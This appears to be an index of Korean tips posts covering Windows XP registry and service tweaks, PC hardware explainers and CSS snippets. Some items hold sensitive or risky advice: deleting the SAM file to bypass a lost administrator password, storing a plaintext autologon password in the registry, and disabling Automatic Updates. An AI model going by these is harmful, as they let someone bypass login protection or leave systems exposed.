[윈도우팁]  DMA 설정을 반드시 해야 하는 이유/조건 하드디스크와 시디드라이브를 DMA 모드로 설정하는건 기본이다. E-IDE 드라이브의 인터페이스 컨트롤러에는 PIO 모드와 멀티워드 DMA(Direct Memory Access)라는 두가지 전송방식이 있다. 기존의 PIO모드에서는 데이터가 메모리에서 CPU를 거쳐 드라이브로 전송되지만 DMA모드에서는 데이터가 DMA 채널을 통해 CPU를 거치지 않고 곧바로 드라이브로 전송되기 때문에 전송속도가 높아지며 CPU 점유율 또한 현저히 낮아진다. 입출력을 위한 인터럽트의 횟수가 줄어 들어 멀티태스킹과 고속작업이 유리하다. DMA 모드...
[윈도우팁]  컴퓨터 회사이름과 사용자 이름 바꾸기 [시작]-[실행]-[regedit 입력]-[엔터]- [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCur rentVersion]해서 들어가 보면 RegisteredOrganization과 RegisteredOwner라는 값이 있을겁니다. 이 값의 RegisteredOrganization은 회사 이름이고 RegisteredOwner는 사용자 이름입니다. 이 두 값의 데이터를 수정해 준 후, 로그오프나 시스템 다시 시작을 하면 변경 사항이 적용 됩니다.
[윈도우팁]  msconfig에서 필요없는 서비스항목 해지하여 부팅속도 올리기 (그만큼 윈도우시작시 불필요한 인식을 안해서 좋음....) Automatic Updates 자동업데이트 기능. 해제하시면 수동으로만 업데이트 됩니다. Help and Support 도움말 및 지원센터... 윈도우 도움말이 불필요하다고 여겨지면 해제. NetMeeting Remote Desktop Sharing 인터넷외의 인트라넷, 원격제어등을 사용하지 않는다면 해제. Performance Logs and Alerts 원격제어시 원격 컴퓨터의 정보등을 수집하는 서비스... 원격제어 사용하지 않는다면 해제 Portable ...
[윈도우팁]  폴더를 열었을때 화일아이콘의 화면출력(Refrash rate) 속도 향상 레지스트리 편집기를 실행한다. 변경 할 사항: HKEY_LOCAL_MACHINESystemCurrentControlSetContro lUpdate 로 이동. 오른쪽 창의 ``UpdateMode`` 에서 오른쪽 마우스 버튼을 클릭하고 수정을 선택,value를 1에서 0으로 바꾼다.
[윈도우팁]  인터넷익스플로러 로딩속도 향샹법 1) DNS캐쉬수정으로 브라우저속도 높이기 HKEY_LOCAL_MACHINESystemCurrentControlsetServic esDnscacheParameters에서 다음항목의 값을 입력한다(없으면 새로 오른쪽 마우스 클릭하여 새로만들기->DWORD값-10진수로 만든다) CachehHashTableBucketSize---->1 CachehHashTableSize---------->384 MaxCacheEntryTtlLimit-------->64000 MaxSOACacheEntryTtlLimi...
[윈도우팁]  CD-ROM 자동인식 비활성화 윈도우에서 새로운 CD를 삽입하였을때 autorun.inf를 인식하여 자동으로 실행하는 기능을 Off하려면 regedit를 실행하여 다음 값을 변경한다. HKEY_LOCAL_MACHINESYSTEMCurrentControlSet001Ser vicesCdrom에서 Autorun 값을 `0`으로 한다.
[윈도우팁]  윈도우 관련 명령어들 1. 프로그램명calc.exe 계산기cleanmgr.exe 디스크 정리cmd 명령프롬프트(도스창) 실행compmgmt.msc 컴퓨터 관리 실행 conf 원격관리 툴 netmeeting 실행 deltree 하위 디렉토리까지 삭제devmgmt.msc 장치 관리자 실행dfrg.msc "디스크 조각모음" 실행 diskmgmt.msc 디스크 관리 실행dxdiag 다이렉트X 상태 정보 화면eventvwr.msc 윈도우즈 메시지가 담긴 이벤트 조회explorer.exe 윈도우 탐색기fsmgmt.msc 공유 폴더 창gpedit.msc "로컬...
[윈도우팁]  Windows XP 로그인 시 계정 자동 선택 [시작] - [실행] - [Regedit] 로 레지스트리 편집기를 연 다음 regedit-->HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon 항목에서 오른쪽마우스 클릭하여 새문자열값으로 다음값을 등록한다이름 값 AutoAdminLogon : 1 DefaultUserName : 계정 이름DefaultPassword : 계정 비밀번호 (없을 경우 빈칸)
[윈도우팁]  윈도우 XP에서 공유폴더 제거하기 윈도우 XP는 네트워크 컴퓨터 환경 관리를 목적으로 드라이브를 공유하는데, 이 공유폴더는 숨겨져 있으며 다음과 같은 방법으로 찾을 수 있습니다. ① [시작]→[실행]→'cmd' 입력→DOS 창 생성 ② C:\>net share 예를 들어, 앞에서 설명한 방법으로 공유폴더를 찾아봤더니 C$, admin$, ipc$의 3개 폴더가 공유된 것으로 나타났을 때, 다음과 같은 명령을 실행하면 공유를 제거할 수 있습니다. (C$는 C 드라이브 공유, admin$와 ipc$는 관리 공유로 바이러스에 취약할 수 있으므로 제거하는 것...
[윈도우팁]  XP 프로세스 정리 XP쓰시는 분들중에 자기 컴터 프로세스에 뭐가 켜있는지 궁금한 사람이 있을꺼 같아 올립니다.(없으면 뻘쭘)프로세스 확인은 작업표시줄에서 마우스 오른쪽 버른 클릭후 작업관리자를 선택하시면 됩니다.Csrss.exe Csrss는 Client/Server Runtime SubSystem의 약자로서 윈도우 콘솔을 관장하고  쓰레드를 생성/삭제하며 16bit 가상 MS-DOS 모드를 지원합니다. Explorer.exe 작업표시줄, 바탕화면과 같은 유저 쉘을 지원합니다. Internat.exe 사용자에 따른 입력 로케일을 로드...
[윈도우팁]  윈도우 서비스 등록 1) 윈도우 프롬프트에서 실행 (파라메터 앞에 스페이스 반드시 입력)sc create serviceTest binPath= c:windowssystem32notepad.exe start= auto2) 레지스트리 수정 ( test.reg 로 생성해서 실행시에는 실행파일 경로를 --> \ )[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesserviceTestParameters]"Application"="c:windowssystem32notepad.exe"&nb...
[윈도우팁]  IE 다운로드 경로 바꾸기 윈도의 '시작' 버튼을 눌러 '실행'메뉴를 클릭하고 'regedit'라고 입력한 뒤 'HKEY_CURRENT_USERSOFTWAREMicrosoftInterner Explorer'로 이동한다. 목적지까지 가게 되면 오른쪽 창에 'Download Directory'가 있는데, 이 곳을 더블클릭한 뒤 다운로드 폴더 경로를 다시 지정하면 된다.
[윈도우팁]  dllhost.exe 가 작업관리자에서 없어지지 않을경우 1. 시작 -> 설정 -> 제어판 -> 관리도구 -> 서비스 아이콘을 더블클릭한다. 2. 실행중인 서비스명중 다음 서비스가 있는지 확인후 있다면 해당 서비스를 중지하도록 한다. - WINS Client - Network Connections Sharing 3. CTRL+ALT+DEL 키를 동시에 눌러 작업관리자를 실행후 -> 프로세스 탭으로 이동한다. 4. 현재 실행중인 프로세스 목록중에서 DLLHOST.EXE 가 실행중이라면 선택후 '프로세스 종료' 버튼을 눌러 종료하도록 한다. * 서비...
[윈도우팁]  배포 폴더($OEM$)에 대한 이해 배포 폴더($OEM$)에 대한 이해 WINNT.SIF(무인 설치 응답 파일)에서 [Unattended] 항목에 OemPreinstall=Yes로 되어 있다면 윈도우 설치시 배포 폴더($OEM$)를 자동으로 인식하여 배포 폴더에 있는 내용을 하드에 복사하여 윈도우 설치과정에서 설치를 실행합니다. $OEM$ i386 폴더와 같은 라인에 배포 폴더($OEM$)가 위치 해야 합니다. $OEM$ 하위 폴더와 그 폴더에 포함된 파일들은 표준 8.3 형식을 지켜 이름을 정해 줘야 합니다. 즉, 8자 넘게 이름을 정해서는 안됩니다. 이 폴더...
[윈도우팁]  윈도우 XP 빠르게 종료하기 시작-실행 창에 regedit를 입력후 엔터 HKEY_LOCAL_MACHINE_SYSTEM-CurrentControlSet_Control 오른쪽 화면에서 WaitToKillServiceTimeout의 현재 설정된 20000값을 100정도로 낮추어 주세요. 컴퓨터를 끌때 응답하지않는 프로그램 시간을 줄여서 빨리 종료 되도록 하는거에요.
[윈도우팁]  전세계 모든 파일 확장자 모음 $$$ 임시 파일 ACE ACE Archiver 압축 파일 ACF 마이크로소프트 에이전트, HTTP 문자 파일 ACL 코렐 드로우 6, 키보드 가속기 파일 ACM 윈도우 시스템 디렉토리 파일 ACM Fallout 1,2, Baulder's Gate, 인터플레이 압축 사운드 파일 ACM Dynamic Link Library (DLL) ACS 마이크로소프트 에이전트, 문자 구조의 저장 파일 AHQ AudioHQ 플러그인 모튤 AI 어도비 일러스트레이터 파일 AI 코렐 트레이스 드로잉 AIF, AIFF Audio Interchang...
[윈도우팁]  알아둘 레지스트리 구성과 자료구성 <<  레지스트리  >>   Win.ini, system.ini, control.ini 에서는 ASCII의 어려운 보안과 속도문제를 해결하기 위해 사용자 계정, 컴퓨터의 하드웨어 및 애플리케이션에 대한 설정정보를 계층적으로 데이터베이스화시킨 것이다.   시스템의 구성정보를 저장함으로서 빠른 복구도 가능하다.     << 레지스트리 데이터에 접근하는 구성요소 >>   1. Ntdetect.com 인텔기반 컴퓨터에서 하드...
[윈도우팁]  KERNEl32.DLL 오류에 관하여... 윈도우즈를 사용하다 보면 가끔 사용자로 하여금 어찌할 수 없는 에러 메시지(잘못된연산오류메세지)가 뜬다. 이번에는 그 중에서 Kernel32.dll 에러에 대해서 알아보자. Kernel32 에러라는 것은 사용자의 환경에 약간의 이상이 생길때 나타나는 고질적 오류로서, 이를 해결하기란 쉽지 않다. 따라서 Kernel32 에러가 일어나는 환경이 어떤것인지, 이를 어떻게 고쳐야 수정할 수있는지 미리 아는 것이 최선의 예방책이다. Kernel32 에러가 나타나는 환경은 다음과같이 크게 다섯 가지로 나누어 볼수있다. ① 잘못된 메모리 ...
[윈도우팁]  윈도우 프로세스 정지목록 꼭 중지해야 하는 서비스 ● Automatic Updates 중요한 윈도우 업데이트를 다운로드하고 설치할 수 있도록 하는 애플리케이션으로 백그라운드 로딩이 되는 만큼 시스템 리소스를 확보하고 있으므로 크게 사용 용도가 없는 애플리케이션이다. ● Distributed Link Tracking Client 네트워크 도메인의 여러 컴퓨터나 일반 컴퓨터에서 NTFS 파일간의 연결을 관리하는 도구로 네트워크가 연결되어 있지 않은 가정용 PC에서는 필요 없는 애플리케이션이다. ● Remote Registry 원격 사용자가 ...
[윈도우팁]  win2000, winxp Administrator 암호 분실시 해제 방법 ## win2000, winxp Administrator 암호 분실시 해제 방법# 윈도우2000 어드민 암호를 잃어버린 경우 보통은 새로 설치할 것이다.새로 설치하는 방법은 시간도 많이 걸리지만 꽤 귀찮은 방법이다. 좀더 쉬운 방법이 있는데 이것은 암호가 저장 되어 있는 파일을 날려 지우는 방법입니다. 해당 파일을 지우면암호없이 로그인 됩니다. 파일: C:Windowssystem32configSAM * 지우는 방법 1. 멀티부팅 시 다른 OS로 부팅한후 지운다. 2. NTFS: CD부팅후 콘솔모드에서 직접 지운다. 3. NT...
[윈도우팁]  윈도우 시작시 시작 프로그램들이 숨어 있는 레지스트리 위치 HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRunHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnceHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesHKEY_LOCAL_MACHINESoftwar...
[윈도우팁]  bat(배치)파일 문법 1. 배치파일(Batch File, 일괄처리용 화일) 1. 1 배치파일? Batch(배치)는 '한 묶음','한벌'의 의미하며, 배치파일은 여러 가지 명령어를 한 파일에 모아 작업하는 파일, 즉 하나의 일을 처리하기 위해 여러번 내리는 명령어를 한 번만에 처리할 수 있도록 만들어 놓은 실행파일이다.   ① 확장자 이름은 반드시 'BAT'이어야 한다.  ② 파일명은 도스의 내부명령어 이름을 피하라.  ③ COM, EXE 파일의 이름을 피하라.  ④ 명령어 이름이 서로 같아 충돌할 때, DOS...
[윈도우팁]  윈도우즈 시스템 작동 파일 다음은 컴퓨터 시스템에서 기본으로 깔려있는 필수 작동파일로 한가지라도 망가지면 컴퓨터가 작동되지 않는다. RunDll.exe 탐색기에서 확장자가 exe인 파일을 마우스로 누르면 그와 연결된 프로그램이 수행된다. 하지만 dll이나 ocx 등의 확장자를 가진 라이브러리 파일은 작동하지 않는다.RunDll.exe나 RunDll32.exe는 메모리에 상주하면서 필요한 때에 16비트 또는 32비트의 라이브러리 파일을 불러와 수행시킨다. Rnaapp.exe '전화접속 네트워킹'과 관련된 파일이다. '전화접속 네트워킹'으로 인터넷에 접...
[윈도우팁]  DMA 설정을 반드시 해야 하는 이유/조건 하드디스크와 시디드라이브를 DMA 모드로 설정하는건 기본이다. E-IDE 드라이브의 인터페이스 컨트롤러에는 PIO 모드와 멀티워드 DMA(Direct Memory Access)라는 두가지 전송방식이 있다. 기존의 PIO모드에서는 데이터가 메모리에서 CPU를 거쳐 드라이브로 전송되지만 DMA모드에서는 데이터가 DMA 채널을 통해 CPU를 거치지 않고 곧바로 드라이브로 전송되기 때문에 전송속도가 높아지며 CPU 점유율 또한 현저히 낮아진다. 입출력을 위한 인터럽트의 횟수가 줄어 들어 멀티태스킹과 고속작업이 유리하다.DMA 모드를 ...
[윈도우팁]  익스플로러 다운로드 창 갯수 변경하는 방법 1. [시작]→[실행]에서 ``regedit``를 입력하고 레지스트리 편집기를 실행한 후, 다음 키 값을 찾는다. 2.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionInternet Settings 3. 이 키 또는 오른쪽 창의 빈 공간을 마우스 오른쪽 버튼으로 클릭하고 [등록]→[DWORD 값]을 선택한다. 4. 새 DWORD 값의 이름에 ``MaxConnectionsPerServer``라고 입력한다. 5. 이 값을 더블클릭하고 값의 데이터 란에 원하는 다운로드 갯수를 입력한다.
[윈도우팁]  윈도우키 비활성화 레지스트리 수정 Windows Registry Editor Version 5.00 [HKEY_CURRENT_USERControl PanelDesktop] "MenuShowDelay"="0" [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard Layout] "Scancode Map"=hex:00,00,00,00,00,00,00,00,03,00,00,00,00,00,5b,e0,00,00,5c,e0, 00,00,00,00 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSet...
[윈도우팁]  spoolsv.exe 화일이 CPU 99%점유율 windows\system32\spool\printers\ 에 들어가셔서 파일을 모두 지우면 spoolsv가 실행되더라고 점유율이 올라가지 않습니다.
[윈도우팁]  탐색기에서 zip 파일을 폴더로 인식 안하게 파일과 폴더를 빨리 검색하는 방법   XP는 Zip 파일을 폴더처럼 사용하기 때문에 검색할 때도 zip 파일까지 검색하므로 이 기능을 제거하면 조금 더 빨라 지는데, 제거하는 방법은 시작 -> 실행에서 아래와 같이 하면 되네요. zip 기능 제거 : regsvr32 /u %windir%system32zipfldr.dllzip 기능 복원 : regsvr32 /s %windir%system32zipfldr.dllzip 기능을 제거한 뒤에 Zip 파일에 오른쪽 마우스를 클릭하여 연결프로그램에서 Winrar 나 ...
[윈도우팁]  XP 서비스 항목 최적화 자동: 부팅시 운영체제에의해 자동으로 드라이버가 로드된 후 실행.수동: 운영체제에 설치되어 있지만 프로그램이 해당 기능을 요청할 때에만 기동.사용 안함: 운영체제에 설치되어 있지만 현재 사용되지않는 서비스.   1 Alerter유닉스 시스템에서 관리자가 경고 메시지를 보낼 때 쓰는 것처럼 이용자와 컴퓨터에 관리용 경고 메시지를 보낸다. PC에서는 내 PC와 연결된 다른 사람이나 컴퓨터에 경고 메시지를 보낼 일이 없으니까 수동으로 된 초기값을 사용안함으로 바꾸자.초기값: 수동 → 권장값: 사용안함 &n...
[윈도우팁]  배치파일_XP용 부팅 속도 최적화.cmd -cmd 파일 내용 요약  (Prefetch 폴더 비우기→Task Scheduler 자동으로→Indexing Service 자동으로→c:temp.bat 파일 작성해서 부팅후 한번만 실행하도록 함(runonce) →재부팅→c:temp.bat 파일 실행(NTOSBOOT-B00DFAAD.pf 생길때까지 대기→ layout.ini 작성 →Indexing Service 사용안함, 정지 →c:temp.bat 삭제)   -아래 내용 실행후 서비스: task scheduler 가 자동으로 설정됨 -아래 내용 실행후...
[윈도우팁]  메모리 덤프란 무엇인가? 윈2000 윈XP사용자라면 누구나 한번쯤은 경험해 봤을만한 메모리오류의 일종이다 증상으로는 컴퓨터가 자동으로 재부팅 된다는 것이다 이것은 데이터처리를 위해 메모 리에 올라가있는 데이터가 서로 충돌을 일으키거나 잘못된 데이터로 채워서 강제적으로 메모리를 비우는 작업을 시작하는 시점이기도하다 원인 90%이상은 실제로 메인보드나 CPU, 램의 에러에서 기인하고 소프트웨어에서 기인하는 경우는 그 소프트웨어가 시스템의 과도하고 정밀한 성능을 요구하는 경우나 링 0 영역을 건들다 오류가 난 경우이다 이처럼 가끔씩 일어나는 메모리덤프는 큰...
[윈도우팁]  Vista가 설치된 시스템의 멀티 부트로 XP 설치하기 XP 설치 공간 확보 작업의 첫 단계로 XP가 설치될 공간 즉 파티션(아니면 물리적인 별도 하드디스크)을 확보합니다. 이 작업에서는 학습을 겸하여 Vista의 내장 기능을 이용, 기존 파티션을 축소하여 이 할당되지 않은 공간에 파티션을 만드는 방법을 채용합니다. 바탕 화면의 '내 컴퓨터'를 우클릭하여 '관리'를 선택합니다. 좌측 패널의 '저장소'의 '디스크 관리'를 클릭합니다. 우측 하단부에 있는 밝은 파란색의 Vista가 설치되어 있는 첫 하드 드라이브를 마우스 우클릭하여 '볼륨 축소'를 선택합니다. 사용자는 XP와 Vist...
[윈도우팁]  L2캐쉬 지정으로 속도향상 시키기 Secondlevel Datacache(L2Cache) 는 CPU의 작업속도에 매우 중요한 기능을 담당한다. 펜3코퍼마인에 내장된 CPU와 같은 속도로 동작하는 이 빠른 L2캐쉬에 데이타를 일정량 올려놓을 수 있기때문에 상대적으로 엄청 느린 메모리로만 데이터를 처리할때보다 작업효율이 더욱 뛰어날수밖에 없다. 일반적으로 xp가 cpu와 L2Cache의 값을 자동으로 인지하게 된다. 그러나, 종종 xp가 이것을 할 수 없을 경우가 발생한다. 그래서 cpu의 작업속도를 향샹시키기 위해서는 레지스트리 값을 조작해줘야 한다. 1.HKE...
[윈도우팁]  암호걸린 xp 복구하기   **방법 1) 먼저Administrator로 부팅 가능할때**1. 컴퓨터 시작시 F8 을 눌러서 안전모드를 선택해서 부팅을 합니다.2. 사용자 계정에서 Administrator 로 로그인 합니다.3. 안전모드로 부팅 후 제어판=>사용자 계정에서 암호가 걸린 계정으로 들어가셔서 암호를 제거합니다 **방법 2) Administrator 계정에도 암호가 걸려있을때**c:windowssystem32config 폴더의 sam파일을도스명령어로삭제하는방법입니다시작시 역시 F8 눌러 멀티메뉴에서 안전모드(명령...
[윈도우팁]  팝업창 띄우기 (IE7 팝업창 및 새창 주소표시줄 없애기) IE7에서는 보안문제로 인하여 팝업창이나 새창에서 주소가 표시된다.아마도 피싱문제와 같은 보안문제로 인한 것이 아닐까 생각된다.하지만 해당 내용을 감추려면 다음과 같이 하면 된다.인터넷옵션 -> 보안탭 -> 이 영역에 적용할 보안 수준 그룹의 사용자 지정 수준 을 선택하고 난 후에"웹 사이트에서 주소 또는 상태 표시줄 없이 창을 열도록 허용" 이라는 항목의 "사용"에 해당하는 체크박스를 체크후 적용하면 된다.
[윈도우팁]  악성코드(Antivirus Pro 2010) 제거 방법 제목 : 안전 모드에서 악성코드(Antivirus Pro 2010) 제거 방법주소 : http://blog.naver.com/hahaj1/20090528388 ※ Antivirus Pro 2010 제거 관련 자료 링크 : http://www.bleepingcomputer.com/virus-removal/remove-antivirus-pro-2010http://www.411-spyware.com/remove-antivirus-pro-2010http://www.v3lite.com/customer/faq/view.do?seq=79 ...
[윈도우팁]  시작프로그램 ctfmon.exe 복구 시키기 해당 항목중에 이 ctfmon.exe는 한/영입력시 중요한 파일입니다 만약 이 파일을 제거하셧다면 부팅은 되셔도 한/영변환이 안되실것입니다 이 ctfmon.exe를 시작프로그램 항목에 추가하시려면, 첨부파일을 다운로드 하신후 압축을 푸시고 ctfmon.exe는 C:windowssystem32폴더안에 넣어주신후, ctfmon.reg를 실행하여 시작프로그램에 등록시켜주시기바랍니다
[윈도우팁]  CD롬 자동 삽입 통지 막기 윈도우즈 XP는 윈도우즈 98처럼 ‘자동 삽입 통지’ 메뉴가 없다. CD롬을 넣으면 CD롬 내용이 알아서 뜨는데, 이 기능이 귀찮다면 레지스트리를 만져 끄면 된다. 시작 → 실행에서 regedit 라고 쓰고 엔터 키를 누르면 레지스트리 편집기가 뜬다. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet001\Services\Cdrom에서 Autorun값을 `0`으로 하면 CD를 넣어도 CD가 자동 실행되지 않는다.
[윈도우팁]  윈도우 XP 필요없는 서비스 중지하기 Microsoft는 Windows XP의 최소 사양으로 64M의 RAM, 권장 사양으로 128M의 RAM이 있어야 한다고 발표했습니다. 그러나 Windows XP는 이전 Windows 군에비해 훨씬 많은 서비스가 존재하며, 기본으로 설정된 서비스만 적재하는 경우에도 거의 128M의 RAM이 필요합니다. 따라서 XP를 사용하기위한 최소사양은 128M라는 얘기가 됩니다(커널 조차 메모리로 읽지 못한다면 나머지 응용 프로그램을 어떻게 실행할 수 있겠는가? 물론 실행은 가능합니다. 그러나 느린 하드로부터 매번 읽어야 하는 불편을 감...
[윈도우팁]  윈도우XP 부팅속도를 더 빠르게 윈도우XP의 부팅 속도가 느리다고 불평하는 사람이라면 다음과 같은 방법으로 부팅 속도를 더 빠르게 만들어 보자. 시작 -< 실행 -< regedit 을 실행해 레지스트리 편집기를 실행한다. HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management/PrefetcherManagers 로 이동한다. 오른쪽 창에 있는 EnablePrefetcher를 더블클릭한 후 값데이터를 1로 바꾼다. and add EnableSup...
[윈도우팁]  웹브라우저 (로딩 속도) 를 조금 올려 드립니다 ※ SP2 는 기본 10 으로 셋팅 돼 있습니다. 서비스팩을 설치 안하셨거나, 서비스팩1을 설치한 분 들은 확인해 보시고요.. -------------------------------------------------------------------------------------- - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Wi nsock 이동하셔서 MaxSockAddrLength --------☞ 16진수 ( 10 ) --...
[윈도우팁]  바탕 화면에 윈도우 버전을 표시하는 방법 1. 시작, 실행을 차례로 누르고 Regedit.exe를 입력한 다음 확인을 누릅니다. 2. 다음 레지스트리 하위 키를 찾아 누릅니다. HKCU\Control Panel\Desktop 3. 오른쪽 Pane(패널)에서 REG_DWORD형의 PaintDesktopVersion를 두번 클릭하면 값의 설정에 따라 다음과 같이 표시 내용이 변경되게 됩니다. 0 바탕 화면에 버전을 표시하지 않음(기본값) 1 바탕 화면에 버전을 표시함 4. 눈가림으로 아래와 같이 할 수도 있다고 하니 테스트해 봅...
[PC조립]  파일시스템 FAT32/NTFS의 장단점 WindowsXP에서는 NT커널과 기존Windows시리즈(95,98,me)에서 사용하던 FAT32방식을 모두 지원하기 때문에 어떤 방식으로 사용하는것이 나을까 궁금할 것이다. 이 2가지 방식을 간단히 설명해 보기로 한다. NTFS(New Technology, NT File System) 이것은 윈도우 NT3.1/3.5/3.51/4.0/2000/XP에서 지원하는것으로 한결같이 똑같은 것은 아니고 조금씩 수정되어왔다. NTFS의 클러스터 크기는 512바이트, 1킬로,2킬로, 4킬로바이트까지 사용자 지정이 가능하다. 파일크기및 볼륨...
[PC조립]  Missing operation system 혹은 Non-system disk or disk error Missing operation system 혹은 Non-system disk or disk error 이라는 에러 메세지가 나온다 이런 경우는 우선 FDD에 부팅화일이 없는 디스켓이 들어있는지 확인해 본다.이 경우가 아닐때에는 HDD내의 시스템화일이 깨진 경우인데 그 유형은 2가지정도로 생각해 볼 수 있다.하나는 단순이 시스템화일이 깨져서 부팅이 안되는 경우인데, 이경우는 부팅디스켓으로 부팅하여서 SYS C: 라는 명령을 사용하여 HDD로 시스템화일을 전송해 주면 된다.또 하나의 경우는 조금 안좋은 경우인데, HDD 의 부트...
[PC조립]  소음만으로 PC의 건강 상태를 확인한다 참고로 지면으로 소리를 묘사하는 것이 어렵기 때문에 정상적인 소리를 문제가 있는 소음으로 착각할 수 있으므로 주의해야 한다. 또, 하드디스크는 제조사에 따른 특유의 소음과 진동이 발생하는 경우가 많다. 하드디스크를 인식하지 못하는 경우가 아니면 특히 주의하기 바란다 그리고, 증상이 계속 되면 A/S를 받는다메인보드에서 나는 소리는 PC 스피커를 통해서 발생하는 비프 음이다. 이 비프 음은 발생 횟수와 간격에 따라서 메인보드에 기본 장치(메인보드, 메모리, 프로세서, 그래픽 카드)의 동작을 점검하고 결과를 알려준다. 이상이 없을...
[PC조립]  PC 조립 노하우「10가지 팁」 PC를 조립하는 것은 최적의 사양으로 맞출 수 있게 해주는 것은 물론 비용을 최소화시키는 장점이 있다. 그러나 많은 것을 계획하고 결정해야 한다. 이 글에서는 마더보드, 프로세서, 비디오 등을 고르는 법을 소개한다. PC 판매자의 수는 증가하고 MS가 7가지 신버전의 차기 윈도우를 출시하는 등 선택할 수 있는 것이 많아져 많은 전문가들이 새 시스템을 조립하려들지도 모르겠다. 조립하는 것은 비용을 조절할 수 있고 맞춤 PC를 갖게 될 기회를 제공한다. 처음 PC를 조립할 때 살펴봐야 할 10가지 방법을 소개한다. 1. 마더보드...
[PC조립]  RAM, 그 의미의 변화 SRAM, DRAM, SDRAM, VRAM, NOVRAM.... 이 많은 종류의 램이 모두 무슨 뜻일까? 일반적으로 알고 있는 "Random Access Memory"란 의미는 약간 진부한 의미이고 일반적으로 RAM이라 하면 휘발성의 메모리를 의미하는 뜻이 되었다. 오래 전에 RAM이 본래의 약자의 의미였을 때는 저장장치에서 특정한 데이터나 아키텍쳐를 찾는 방법을 의미하는 것 이였다. 이 말이 의미하는 것은? RAM 타입의 시스템에서는 어떠한 데이터의 위치를 선택할 수 있고 다음 번에 접근이 가능했다는 것이다. 다른 말로 하...
[PC조립]  시스템버스(system bus)와 fsb, DDR 그리고 듀얼채널... 1.시스템 버스와 FSB우선 fsb를 이해하시려면 시스템 버스가 무엇인지 아셔야 합니다.쉽게 시스템 버스란..램과 시피유사이의 버스(통로)를 의미하는데..이것이 컴퓨터의 속도에 직접적인 연관이 있습니다.펜티엄 2 중 후반쯤에 시스템 버스 100이 나왔고 이는 램과 시피유가 100Mhz/s로 통신한다는 말입니다.이후 펜티엄3까지 100/133이 혼용되다가(같은 펜티엄800이라도 100짜리가 있고 133짜리가 있습니다.)펜티엄 4로 오면서 시스템 버스라는 말 보다는 주로 fsb(FRONT SIDE BUS)라는 말을 사용하게 ...
[개발이슈]  phpmyadmin 테이블 내보내기 시에 파일 0KB현상 - phpmyadmin table export sql file 0kb issue [이슈]phpmyadmin 테이블 내보내기시에 파일 0KB현상[점검사항]1. my.ini, php.ini 설정 점검2. 작은 테이블 건수 sql 다운로드 테스트[조치사항]1. 테이블 용량 4MB정도로 내보내기 시 메모리 사용량한계 - php.ini 파일의 memory_limit = 16M; 을 -> 64M로 수정 후 Apache 재기동
[CSS]  엑셀로 변환저장시 <br /> 태그 alt + enter 값으로 인식 <style type="text/css">br{mso-data-placement:same-cell;}</style>
[CSS]  input 및 textarea line-height 맞춤 스타일 <input type="text" size="50" style="height:21px; color:#333; padding:1px 4px 0; font:normal 12px/1.5em tahoma,gulim,serif; background:#fff; border:1px solid #aaa; border-color:#aaa #ccc #ccc #aaa;" /><textarea style="margin:0; overflow-y:visible; width:100%; height:80px; background-...
[CSS]  이미지 없이 테두리 둥글게 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko"><head><title>스타일을 이용한 테두리 둥글게</title><meta http-equiv="Content-Type" content...
[CSS]  falot:left 일때 블록 엘리먼트가 height가 0px 현상 <style type="text/css">.Element{width:200px; border:1px solid #000;}.Element div{float:left; width:50px; border:1px solid #ddd;}</style> <div class="Element"> <div>A</div> <div>B</div></div> <div class="Element"> <div>A<...
[CSS]  브라우저별 CSS핵  ※ 언더스코어(언더바)핵 (_) div{ _width:300px; } Win IE 4~6에서만 CSS적용 ※ 닷핵 (.) div{ .width:300px; } Win IE6~7에만 CSS 적용  ※해시 핵(#) div{ width:300px; } Win IE 4~6, Mac IE 5, Opera 7, Mozilla계열, Firefox에 CSS적용  ※스타핵 *html div{ 300px; } Win IE 4~6, Mac IE4~5에 CSS적용  ※스타7핵 html*div { wid...
[CSS]  CSS 선택자(Selector) - 동적 선택자 동적 선택자- :link, :visited, :hover, :active, :focus 수도 클래스- :first-child 수도 클래스- :first-line, :first-letter 수도 클래스CSS는 선언적인 특성을 가지고 있기 때문에 문서에 동적으로 스타일을 적용하기는 힘들지만 pseudo...
[CSS]  CSS 선택자(Selector) - 복합선택자 복합 선택자 : 복합 선택자는 크게 세 가지 종류가 있다. - E F (하위 선택자) - E > F (자식 선택자) - E + F (인접 선택자)E F (하위 선택자)E 엘리먼트의 하위에 있는 F 엘리먼트들을 선택...
[CSS]  Border-radius: create rounded corners with CSS! W3C has offered some new options for borders in CSS3, of which one is border-radius. Both Mozila/Firefox and Safari 3 have implemented this function, which allows you to create round corners on box-items. This is an example: Mozilla/Firefox and Safari 3 users should see a nicely rounded box, with...
[CSS]  CSS의 em,pt,px,% 단위 환산표 Points Pixels Ems Percent 6pt 8px 0.5em 50% 7pt 9px 0.55em 55% 7.5pt 10px 0.625em 62.5% 8pt 11px 0.7em 70% 9pt 12px 0.75em 75% 10pt 13px 0.8em 80% 10.5pt 14px 0.875em 87.5% 11pt 15px 0.95em 95% 12pt 16px 1em 100% 13pt 17px 1.05em 105% 13.5pt 18px 1.125em 112.5% 14pt 19px 1.2em 120% 1...
[CSS]  font Property 사용 예 { font : bold 12px/1.3em Verdana } /*bold체 12px 글씨 크기에 행 간격 1.3em 글꼴 Verdana*/{ font : italic 12px Tahoma } /*기울임체 12px 글씨 크기, 글꼴 Tahoma*/{ font : italic small-caps bold 12px/1.3em Arial} /*Full option*/{ font : 12px/1.5em bold sans-serif } /*bold가 순서에 맞지 않아서 이후의 sans-serif 글꼴은 무시*/
